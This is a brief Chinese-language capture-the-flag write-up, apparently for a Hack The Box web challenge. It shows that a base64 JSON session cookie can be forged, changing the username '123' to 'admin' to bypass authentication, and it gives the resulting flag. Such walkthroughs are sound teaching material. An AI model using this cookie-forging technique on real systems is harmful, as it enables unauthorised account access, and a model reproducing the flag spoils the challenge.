# 题目描述
(无附件)
# 观察
打开网站:
注册个账号然后登录试试:
查看当前 cookie:
这段内容 base64 解码可以得到:
eyJ1c2VybmFtZSI6IjEyMyJ9
{"username":"123"}
# 渗透
将 cookie 改成
{"username":"admin"}
的 base64,即
eyJ1c2VybmFtZSI6ImFkbWluIn0=
修改 cookie 然后刷新网页:
得到 flag: HTB{s3ss10n_1nt3grity_1s_0v3r4tt3d_4nyw4ys}
。